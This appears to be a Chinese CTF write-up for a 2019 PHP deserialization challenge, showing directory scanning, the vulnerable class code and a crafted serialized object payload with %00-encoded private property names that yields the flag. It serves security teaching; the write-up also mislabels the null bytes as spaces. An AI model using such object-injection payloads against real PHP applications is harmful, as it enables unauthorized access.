[极客大挑战 2019]PHP

  1. 题目:
  2. 解题思路及步骤:看到题目没什么思路,于是就尝试去扫目录:发现有个有用的目录:www.zip: -x400-600 排除状态码为400-600的
  3. 于是我们进行访问,果然得到一个新文件www.zip,查看发现有以下内容:
  1. 查看flag.php,肯定不会再这么明显的地方,
  2. 查看index.php文件发现真正的题目在这里:这里是包含了文件,class.php,可知是一个反序列化题目,我们查看一下class.php文件,得到:
python 复制代码
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }
//wakeup()函数的作用是反序列化之前调用,并将username这个属性赋值为guest
//下面这个函数是在对象被销毁时调用
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
//这里可以知道密码应为100,用户名应该为admin
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
  1. 于是编写脚本:
php 复制代码
<?php
  class Name{
  private $username = 'admin';
  private $password = '100';
}
$a = new Name();
echo serialize($a);
?>
//输出得到:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O表示 序列化类型为对象
4:对象名长度
Name:对象名
2:属性名个数
s:第一个属性类型为字符串
14:第一属性的长度(由于是私有属性,其实际长度比看到的要长,多了类名首尾的空格)
NameusernameL:空格+类名+空格+属性名
后面同理
  1. 由于反序列化后两个空格不见了,这时候在传参为O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}这里面得空格就看不见了,这样也确实得不到结果:因此使用空格的url编码将其表示出来:O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
  2. 得到flag:
相关推荐
apcipot_rain3 小时前
C++转Java日记(06)
java·开发语言
SomeOtherTime10 小时前
Rust所有权(AI回答)
开发语言·后端·rust
Easyhood10 小时前
Android 开发入门实践(十四):Compose 副作用入门与四个常用 API
android·开发语言·kotlin·android jetpack·compose
白杨尚青11 小时前
C++进阶篇(六):map 和 set 的模拟实现——用红黑树封装 mymap/myset(迭代器 + operator[])
开发语言·c++·迭代器·stl·set·map·红黑树
饮水桶_T14 小时前
JAVA IO流笔记
开发语言·数据结构·算法
Felven17 小时前
C. Brr Brrr Patapim
c语言·开发语言
li星野17 小时前
相位补偿学习记录:把被颅骨“打乱“的声波重新对齐
学习
Z21-X18 小时前
云原生运维学习笔记:ECShop全链路容器化部署与Docker底层资源隔离深度剖析
运维·笔记·学习·云原生
路溪非溪18 小时前
python标准库使用总结
开发语言·python
red_redemption19 小时前
自由学习记录(230)
学习